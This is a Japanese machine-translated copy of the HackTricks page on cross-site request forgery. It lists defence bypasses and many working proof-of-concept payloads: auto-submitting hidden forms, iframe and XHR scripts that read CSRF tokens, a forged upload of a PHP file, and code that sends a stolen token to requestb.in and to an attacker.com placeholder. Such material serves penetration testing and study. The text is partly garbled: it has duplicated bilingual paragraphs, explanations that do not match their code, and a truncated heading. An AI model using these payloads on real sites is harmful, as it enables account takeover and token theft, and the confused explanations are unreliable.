53 KiB
CSRF(クロスサイトリクエストフォージェリ)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有して、PRを提出してください hacktricks repo および hacktricks-cloud repo。
![](/Mirrors/hacktricks/media/commit/.gitbook/assets/image%20%281%29.png)
HackenProofはすべての暗号バグ報酬の場所です。
遅延なしで報酬を受け取る
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
CSRFとは?
クロスサイトリクエストフォージェリ(CSRF)は、攻撃者がユーザーに意図しないアクションを実行させることができるウェブセキュリティの脆弱性です。
これは、ログインしているユーザーが被害者プラットフォームにアクセスし、そこから悪意のあるJSコードを実行したり、フォームを送信したり、"画像"を被害者のアカウントに取得することで行われます。
必要条件
CSRFの脆弱性を悪用するためには、まず悪用する重要なアクションを見つける必要があります(パスワードやメールアドレスの変更、被害者をソーシャルネットワークでフォローさせる、より多くの特権を与えるなど)。セッションはクッキーまたはHTTPベーシック認証ヘッダーにのみ依存する必要があり、他のヘッダーはセッションの処理に使用できません。そして、リクエストに予測不可能なパラメーターがない必要があります。
この脆弱性を回避するためには、いくつかの対策が取られる場合があります。
一般的な防御策
- SameSiteクッキー:セッションクッキーがこのフラグを使用している場合、任意のウェブサイトからクッキーを送信できない場合があります。
- クロスオリジンリソース共有:関連するアクションを悪用するために実行する必要があるHTTPリクエストの種類に応じて、被害者サイトのCORSポリシーを考慮する必要があります。CORSポリシーは、単にGETリクエストまたはフォームからのPOSTリクエストを送信し、応答を読み取る必要がない場合には影響しません。
- パスワードユーザーにアクションを許可するように要求する。
- キャプチャを解決する
- リファラまたはオリジンヘッダーを読み取る。正規表現が使用されている場合、次のようにバイパスできます。
- http://mal.net?orig=http://example.com(URLで終わる)
- http://example.com.mal.net(URLで始まる)
- POSTまたはGETリクエストのパラメーターの名前を変更する
- 各セッションでCSRFトークンを使用する。このトークンは、アクションを確認するためにリクエスト内に送信する必要があります。このトークンはCORSで保護することができます。
CSRFマップ
防御バイパス
POSTからGETへ
悪用したいフォームがCSRFトークンを使用してPOSTリクエストを送信する準備ができているかどうかを確認する必要がありますが、GETも有効であり、GETリクエストを送信するときにCSRFトークンが引き続き検証されているかどうかを確認する必要があります。
トークンの欠如
一部のアプリケーションは、トークンが存在する場合には正しくトークンを検証しますが、トークンが省略された場合には検証をスキップします。
この状況では、攻撃者はトークンを含むパラメーター全体を(値だけでなく)削除して検証をバイパスし、CSRF攻撃を実行することができます。
CSRFトークンがユーザーセッションに関連付けられていない
一部のアプリケーションは、リクエストを行っているユーザーと同じセッションにトークンが属していることを検証しません。代わりに、アプリケーションは発行したトークンのグローバルプールを維持し、このプールに表示されるトークンを受け入れます。
この状況では、攻撃者は自分のアカウントを使用してアプリケーションにログインし、有効なトークンを取得し、そのトークンをCSRF攻撃の被害者ユーザーに提供することができます。
メソッドバイパス
リクエストが「奇妙な」
カスタムヘッダートークンのバイパス
もしリクエストがCSRF保護手法としてトークンを含むカスタムヘッダーを追加している場合、以下の手順を実行します:
- カスタムトークンとヘッダーを含まない状態でリクエストをテストします。
- 同じ長さですが異なるトークンを使用してリクエストをテストします。
CSRFトークンはクッキーで検証されます
前述の脆弱性のさらなるバリエーションとして、一部のアプリケーションはクッキーとリクエストパラメーターの両方に同じトークンを複製します。または、CSRFクッキーを設定し、バックエンドでクッキーに関連付けられたCSRFトークンが送信されたトークンと一致するかどうかをチェックします。
次のリクエストが検証される際、アプリケーションは単純にリクエストパラメーターに送信されたトークンがクッキーに保存された値と一致するかどうかを確認します。
この状況では、攻撃者は再びCSRF攻撃を実行することができます。攻撃者は、犠牲者にCSRFクッキーを設定することができる脆弱性がウェブサイトに存在する場合、CRLFのような形で攻撃を行うことができます。
この場合、偽の画像を読み込むことを試みてクッキーを設定し、次に次の例のようにCSRF攻撃を実行することができます:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} 注意してください。csrfトークンがセッションクッキーに関連付けられている場合、この攻撃は機能しません。なぜなら、被害者に自分のセッションを設定する必要があり、したがって自分自身を攻撃することになるからです。 {% endhint %}
Content-Typeの変更
こちらによると、POSTメソッドを使用してプリフライトを回避するために、次のContent-Typeの値が許可されています。
application/x-www-form-urlencoded
multipart/form-data
text/plain
ただし、使用するContent-Typeによっては、サーバーのロジックが異なる場合があるため、上記の値や**application/json
_,_text/xml
_,_application/xml
**などの他の値を試す必要があります。
ここからのJSONデータをtext/plainとして送信する例:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
application/json preflight request bypass
既にお知りの通り、HTMLフォームを介してContent-Typeが**application/json
のPOSTリクエストを送信することはできません。また、XMLHttpRequest
を使用して送信しようとすると、最初にpreflightリクエストが送信されます。
ただし、バックエンドがContent-Typeに関係なくデータを使用しているかどうかを確認するために、JSONデータをcontent types text/plain
および application/x-www-form-urlencoded
を使用して送信することができます。
Content-Type: text/plain
を使用してフォームを送信することができます。enctype="text/plain"
**を設定します。
サーバーがコンテンツタイプ "application/json" のみを受け入れる場合、preflightリクエストをトリガーせずに**コンテンツタイプ "text/plain; application/json"**を送信することができます。
また、SWFフラッシュファイルを使用してこの制限をバイパスすることもできます。詳細については、この投稿を読んでください。
Referrer / Origin check bypass
Refererヘッダーを回避する
一部のアプリケーションは、リクエストにRefererヘッダーが存在する場合にのみそのヘッダーを検証しますが、ヘッダーが省略された場合は検証をスキップします。
<meta name="referrer" content="never">
正規表現のバイパス
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Referrerがパラメータ内で送信するURLのサーバーのドメイン名を設定するには、次のようにします:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
![](/Mirrors/hacktricks/media/commit/.gitbook/assets/image%20%281%29.png)
HackenProofはすべての暗号バグ報酬の場所です。
遅延なしで報酬を受け取る
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから収益を得ましょう!
{% embed url="https://hackenproof.com/register" %}
攻撃例
CSRFトークンの外部流出
もしCSRFトークンが防御手段として使用されている場合、XSSの脆弱性やDangling Markupの脆弱性を悪用してトークンを外部流出させることができます。
HTMLタグを使用したGETリクエスト
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
他のHTML5タグを使用して自動的にGETリクエストを送信することもできます。
フォームのGETリクエスト
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
フォームのPOSTリクエスト
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker can create a malicious HTML page that includes a form with a POST method. This form is designed to submit data to a target website without the user's knowledge or consent.
To execute the attack, the attacker tricks the victim into visiting the malicious page. When the victim loads the page, the form is automatically submitted, sending the data to the target website. Since the victim is already authenticated on the target website, the server processes the request as if it came from the victim.
The attacker can use this technique to perform various malicious actions, such as changing the victim's account settings, making unauthorized purchases, or even deleting data.
To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens, checking the Referer header, or implementing SameSite cookies.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
iframeを通じたフォームのPOSTリクエスト
An attacker can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by tricking a victim into submitting a malicious form through an iframe. This technique is commonly used when the target website has implemented CSRF protection mechanisms that prevent direct form submissions from external domains.
攻撃者は、iframeを介して被害者に悪意のあるフォームを送信させることで、クロスサイトリクエストフォージェリ(CSRF)の脆弱性を悪用することができます。この技術は、対象のウェブサイトが外部ドメインからの直接のフォーム送信を防ぐCSRF保護メカニズムを実装している場合によく使用されます。
To perform this attack, the attacker crafts a webpage that contains an iframe pointing to the target website's vulnerable form. The attacker then tricks the victim into visiting this webpage, which loads the iframe and automatically submits the form without the victim's knowledge.
この攻撃を実行するために、攻撃者は対象のウェブサイトの脆弱なフォームを指すiframeを含むウェブページを作成します。攻撃者はその後、被害者にこのウェブページを訪れさせ、iframeを読み込み、被害者の知識を持たずにフォームを自動的に送信させます。
The malicious form can be designed to perform various actions on behalf of the victim, such as changing account settings, making purchases, or even initiating sensitive transactions. Since the request originates from the victim's browser, it appears legitimate to the target website, bypassing any CSRF protection measures in place.
悪意のあるフォームは、被害者の代わりにさまざまなアクションを実行するように設計することができます。例えば、アカウント設定の変更、購入の実行、または機密なトランザクションの開始などです。リクエストは被害者のブラウザから発信されるため、対象のウェブサイトには正当なものと見なされ、設置されているCSRF保護対策をバイパスします。
To mitigate this vulnerability, web developers should implement CSRF protection mechanisms such as anti-CSRF tokens or same-site cookies. Additionally, users should be cautious when visiting unfamiliar websites or clicking on suspicious links to minimize the risk of falling victim to CSRF attacks.
この脆弱性を軽減するために、ウェブ開発者は、アンチ-CSRFトークンや同一サイトクッキーなどのCSRF保護メカニズムを実装する必要があります。さらに、ユーザーは、不慣れなウェブサイトを訪れたり、疑わしいリンクをクリックしたりする際に注意を払い、CSRF攻撃の被害に遭うリスクを最小限に抑えるべきです。
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Ajax POST リクエスト
Ajax POST リクエストは、クライアントがサーバーにデータを送信するための非同期通信メカニズムです。このリクエストは、Webアプリケーションの機能を拡張するために使用されます。
以下は、Ajax POST リクエストの基本的な構文です。
$.ajax({
url: '/endpoint',
type: 'POST',
data: {
param1: 'value1',
param2: 'value2'
},
success: function(response) {
// リクエストが成功した場合の処理
},
error: function(xhr, status, error) {
// リクエストが失敗した場合の処理
}
});
この例では、/endpoint
というエンドポイントに対して、POST メソッドでデータを送信しています。data
パラメータには、送信するデータをオブジェクト形式で指定します。
成功した場合は、success
コールバック関数が呼び出され、レスポンスデータが引数として渡されます。失敗した場合は、error
コールバック関数が呼び出され、エラー情報が引数として渡されます。
Ajax POST リクエストは、CSRF(クロスサイトリクエストフォージェリ)攻撃に対して脆弱性を持つことがあります。この攻撃では、攻撃者が被害者の代わりに意図しないリクエストを送信することができます。
この脆弱性を防ぐためには、適切なCSRFトークンをリクエストに含める必要があります。CSRFトークンは、サーバーが生成し、クライアントに提供する一意の識別子です。リクエストを送信する際に、このトークンを含めることで、正当なユーザーであることを証明します。
$.ajax({
url: '/endpoint',
type: 'POST',
data: {
param1: 'value1',
param2: 'value2',
csrf_token: 'xxxxxxxxxxxxx' // CSRFトークンを含める
},
success: function(response) {
// リクエストが成功した場合の処理
},
error: function(xhr, status, error) {
// リクエストが失敗した場合の処理
}
});
CSRFトークンは、セッションごとに生成される必要があります。また、トークンの有効期限を設定し、定期的に更新することも重要です。これにより、攻撃者が有効なトークンを推測することが困難になります。
以上が、Ajax POST リクエストの基本的な構文とCSRF対策の概要です。セキュリティを確保するためには、適切な対策を講じることが重要です。
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
multipart/form-data POST リクエスト
When submitting a form with file uploads, the multipart/form-data
content type is used in the POST request. This content type allows the form data to be sent as a series of parts, each containing a separate field and its corresponding value.
ファイルのアップロードを含むフォームを送信する際には、POST リクエストで multipart/form-data
コンテンツタイプが使用されます。このコンテンツタイプでは、フォームデータが個別のフィールドとその対応する値を含む一連のパートとして送信されます。
Each part in the request body is separated by a boundary, which is a unique string that does not appear in the data. The boundary is specified in the Content-Type
header of the request.
リクエストボディ内の各パートは、データには表示されない一意の文字列であるバウンダリによって区切られます。バウンダリは、リクエストの Content-Type
ヘッダで指定されます。
Each part consists of a header and a body. The header contains metadata about the part, such as the field name and the filename (if applicable). The body contains the actual data of the field.
各パートはヘッダとボディで構成されます。ヘッダには、フィールド名やファイル名(該当する場合)など、パートに関するメタデータが含まれます。ボディには、フィールドの実際のデータが含まれます。
To construct a multipart/form-data
POST request, you need to set the Content-Type
header to multipart/form-data
and include the appropriate boundary. Each part is then formatted as follows:
multipart/form-data
POST リクエストを構築するには、Content-Type
ヘッダを multipart/form-data
に設定し、適切なバウンダリを含める必要があります。各パートは以下のようにフォーマットされます。
--boundary
Content-Disposition: form-data; name="field_name"; filename="file_name"
Content-Type: file_type
field_data
--boundary--
In the above example, boundary
is the boundary string, field_name
is the name of the field, file_name
is the name of the file (if applicable), file_type
is the MIME type of the file, and field_data
is the actual data of the field.
上記の例では、boundary
はバウンダリ文字列、field_name
はフィールドの名前、file_name
はファイルの名前(該当する場合)、file_type
はファイルの MIME タイプ、field_data
はフィールドの実際のデータです。
When processing a multipart/form-data
POST request, the server needs to parse the request body and extract the individual parts. This can be done using libraries or frameworks that support multipart/form-data
parsing.
multipart/form-data
POST リクエストを処理する際には、サーバーはリクエストボディを解析し、個々のパートを抽出する必要があります。これは、multipart/form-data
解析をサポートするライブラリやフレームワークを使用して行うことができます。
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
multipart/form-data POST リクエスト v2
In this technique, we will explore how to perform a Cross-Site Request Forgery (CSRF) attack using a multipart/form-data POST request.
Overview
A multipart/form-data POST request is commonly used to upload files or submit form data that includes binary content. This type of request consists of multiple parts, each containing a separate piece of data.
Steps
-
Identify the target: Choose the website or application you want to target for the CSRF attack.
-
Analyze the target: Understand the target's functionality and identify any forms or actions that can be exploited.
-
Create the malicious payload: Craft a malicious HTML page or script that will execute the CSRF attack. This payload should include a form with the necessary fields to perform the desired action on the target.
-
Set up a server: Host the malicious payload on a server that you control. This server will be used to serve the payload to the victim.
-
Prepare the payload: Modify the payload to include the necessary fields for the multipart/form-data POST request. Each field should be defined using the appropriate HTML tags and include the required data.
-
Inject the payload: Find a way to trick the victim into visiting the malicious payload. This can be done through social engineering techniques, such as sending a phishing email or embedding the payload in a compromised website.
-
Execute the attack: When the victim visits the malicious payload, the browser will automatically submit the form, sending the multipart/form-data POST request to the target. The target server will process the request, unaware that it was initiated by an attacker.
-
Exploit the result: Analyze the response from the target server to determine if the attack was successful. This may involve checking for changes in the target's state or verifying that the desired action was performed.
Mitigation
To protect against CSRF attacks using multipart/form-data POST requests, consider implementing the following measures:
-
Use anti-CSRF tokens: Include a unique token in each form submission and verify its authenticity on the server side.
-
Implement SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to prevent them from being sent in cross-site requests.
-
Use CSRF protection frameworks: Utilize frameworks or libraries that provide built-in protection against CSRF attacks.
-
Educate users: Raise awareness among users about the risks of clicking on suspicious links or submitting forms on untrusted websites.
By following these mitigation techniques, you can significantly reduce the risk of CSRF attacks on your web applications.
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
iframe 内からのフォーム POST リクエスト
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack when the form is submitted from within an iframe.
HTML フォームが送信されると、ブラウザは指定された URL に POST リクエストを送信します。この動作は、フォームが iframe 内から送信された場合に、クロスサイトリクエストフォージェリ(CSRF)攻撃で悪用される可能性があります。
To perform a CSRF attack using an iframe, an attacker can create a webpage with an iframe that loads the target website's form. The attacker can then use JavaScript to automatically submit the form without the user's knowledge.
iframe を使用して CSRF 攻撃を実行するには、攻撃者はターゲットのウェブサイトのフォームを読み込む iframe を含むウェブページを作成します。攻撃者はその後、ユーザーの知識を持たずに JavaScript を使用してフォームを自動的に送信することができます。
This attack works because the browser includes the user's session cookies in the POST request, allowing the attacker to impersonate the user and perform actions on their behalf.
この攻撃は、ブラウザが POST リクエストにユーザーのセッションクッキーを含めるため、攻撃者がユーザーをなりすまし、その代わりに操作を行うことができるために機能します。
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
CSRF 攻撃に対抗するために、ウェブ開発者は、アンチ-CSRF トークンの使用、リファラーヘッダーの検証、厳格なアクセス制御の実装などの対策を実施する必要があります。
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
CSRFトークンを盗み、POSTリクエストを送信する
To perform a CSRF attack, you need to steal the CSRF token from the target website and then use it to craft a malicious POST request. Here's how you can do it:
-
Stealing the CSRF Token: First, you need to find a way to obtain the CSRF token from the target website. This token is typically embedded in the HTML source code or included as a cookie. You can use various techniques like cross-site scripting (XSS) or social engineering to trick the user into revealing the token.
-
Crafting the Malicious POST Request: Once you have the CSRF token, you can use it to craft a malicious POST request. This request should contain the necessary parameters and values to perform the desired action on the target website. For example, if you want to change the user's password, you would include the new password as a parameter in the POST request.
-
Sending the POST Request: Finally, you need to send the crafted POST request to the target website. This can be done using tools like cURL or by writing a custom script. Make sure to include the stolen CSRF token in the request headers or body, depending on how the target website expects it.
By successfully executing this attack, you can trick the target user into unknowingly performing actions on the website without their consent. This can lead to various security vulnerabilities, such as unauthorized data modification or account takeover. It is important for website developers to implement proper CSRF protection mechanisms to prevent such attacks.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
CSRFトークンを盗み、iframe、フォーム、およびAjaxを使用してPOSTリクエストを送信する
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
以下の手法を使用して、CSRFトークンを盗み、それを使用してPOSTリクエストを送信する方法を説明します。
- 攻撃者は、悪意のあるウェブサイトにiframeを埋め込みます。このiframeは、被害者のブラウザで実行されます。
<iframe src="http://attacker.com/steal-csrf-token"></iframe>
- 攻撃者は、CSRFトークンを盗むためのエンドポイントを作成します。このエンドポイントは、被害者のセッションに関連付けられたトークンを取得するために使用されます。
<!-- CSRFトークンを盗むためのエンドポイント -->
<form id="csrf-form" action="http://attacker.com/steal-csrf-token" method="POST">
<input type="hidden" name="csrf-token" value="">
</form>
- 攻撃者は、Ajaxを使用してCSRFトークンを盗み、フォームに設定します。
// Ajaxを使用してCSRFトークンを盗む
$.ajax({
url: 'http://victim.com/get-csrf-token',
method: 'GET',
success: function(response) {
// 盗んだCSRFトークンをフォームに設定
$('#csrf-form input[name="csrf-token"]').val(response.csrfToken);
}
});
- 盗んだCSRFトークンを使用して、攻撃者はフォームを自動的に送信します。
// フォームを自動的に送信
$('#csrf-form').submit();
この手法により、攻撃者は被害者のセッションに関連付けられたCSRFトークンを盗み、それを使用して悪意のあるPOSTリクエストを送信することができます。被害者は攻撃が行われていることに気付かず、攻撃者の意図しないリクエストが実行される可能性があります。
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する
CSRF(Cross-Site Request Forgery)攻撃は、攻撃者が被害者の代わりに意図しないリクエストを送信する攻撃手法です。この攻撃を行うためには、被害者のセッションに関連付けられたCSRFトークンを盗む必要があります。
以下の手順でCSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信することができます。
-
攻撃者は、悪意のあるウェブサイトを作成します。このウェブサイトには、攻撃者が制御するサーバーにPOSTリクエストを送信するためのフォームが含まれています。
-
攻撃者は、被害者を誘導して悪意のあるウェブサイトを訪れさせます。被害者がこのウェブサイトを訪れると、攻撃者のサーバーに対してPOSTリクエストが送信されます。
-
攻撃者のサーバーは、被害者のセッションに関連付けられたCSRFトークンを盗みます。これにより、攻撃者は被害者のセッションをなりすまし、意図しないリクエストを送信することができます。
-
攻撃者のサーバーは、盗んだCSRFトークンを使用して、被害者のセッションに対して意図しないPOSTリクエストを送信します。このリクエストは、攻撃者が制御するサーバーに対して送信されます。
以上の手法を使用することで、攻撃者は被害者のセッションを乗っ取り、意図しないアクションを実行することができます。被害者は、悪意のあるウェブサイトにアクセスしないように注意する必要があります。また、ウェブアプリケーション開発者は、CSRFトークンの適切な実装やセキュリティ対策を行うことが重要です。
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
トークンを盗み、2つのiframeを使用して送信する
In this technique, we will exploit a Cross-Site Request Forgery (CSRF) vulnerability to steal a user's token and send it to an attacker-controlled server using two iframes.
この技術では、Cross-Site Request Forgery(CSRF)の脆弱性を悪用して、ユーザーのトークンを盗み、2つのiframeを使用して攻撃者が制御するサーバーに送信します。
-
The attacker crafts a malicious webpage that contains two hidden iframes.
攻撃者は、2つの非表示のiframeを含む悪意のあるウェブページを作成します。
-
The first iframe is loaded with the target website's login page.
最初のiframeには、ターゲットのウェブサイトのログインページが読み込まれます。
-
The second iframe is loaded with a page hosted on the attacker's server, which includes a form that automatically submits the stolen token.
2番目のiframeには、攻撃者のサーバーでホストされたページが読み込まれます。このページには、盗まれたトークンを自動的に送信するフォームが含まれています。
-
When the victim visits the malicious webpage, the first iframe loads the target website's login page.
被害者が悪意のあるウェブページを訪れると、最初のiframeはターゲットのウェブサイトのログインページを読み込みます。
-
The victim enters their credentials into the login form, unaware that the second iframe is also submitting the stolen token to the attacker's server.
被害者は、ログインフォームに資格情報を入力しますが、2番目のiframeが盗まれたトークンを攻撃者のサーバーに送信していることに気付いていません。
-
The stolen token is sent to the attacker's server, allowing them to impersonate the victim and perform actions on their behalf.
盗まれたトークンは攻撃者のサーバーに送信され、攻撃者は被害者をなりすまし、その代わりに操作を行うことができます。
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
Ajaxを使用してCSRFトークンを盗み、フォームでPOSTリクエストを送信する
<script>
// CSRFトークンを取得するためのAjaxリクエスト
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get-csrf-token', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var csrfToken = xhr.responseText;
// 盗んだCSRFトークンを使用してPOSTリクエストを送信するフォームを作成
var form = document.createElement('form');
form.method = 'POST';
form.action = '/transfer-money';
// 盗んだCSRFトークンをフォームに追加
var csrfInput = document.createElement('input');
csrfInput.type = 'hidden';
csrfInput.name = 'csrf_token';
csrfInput.value = csrfToken;
form.appendChild(csrfInput);
// 送信するデータをフォームに追加
var amountInput = document.createElement('input');
amountInput.type = 'hidden';
amountInput.name = 'amount';
amountInput.value = '1000000';
form.appendChild(amountInput);
// フォームをbodyに追加して自動的に送信
document.body.appendChild(form);
form.submit();
}
};
xhr.send();
</script>
この攻撃では、Ajaxを使用してサーバーからCSRFトークンを盗み、そのトークンを使用してフォームを作成し、POSTリクエストを送信します。攻撃者は、ユーザーが悪意のあるサイトにアクセスした場合にこの攻撃を実行することができます。
攻撃者は、Ajaxリクエストを使用してサーバーからCSRFトークンを取得します。取得したトークンは、フォームの隠しフィールドに追加されます。その後、フォームは自動的に送信され、攻撃者が指定したアクション(この場合は/transfer-money
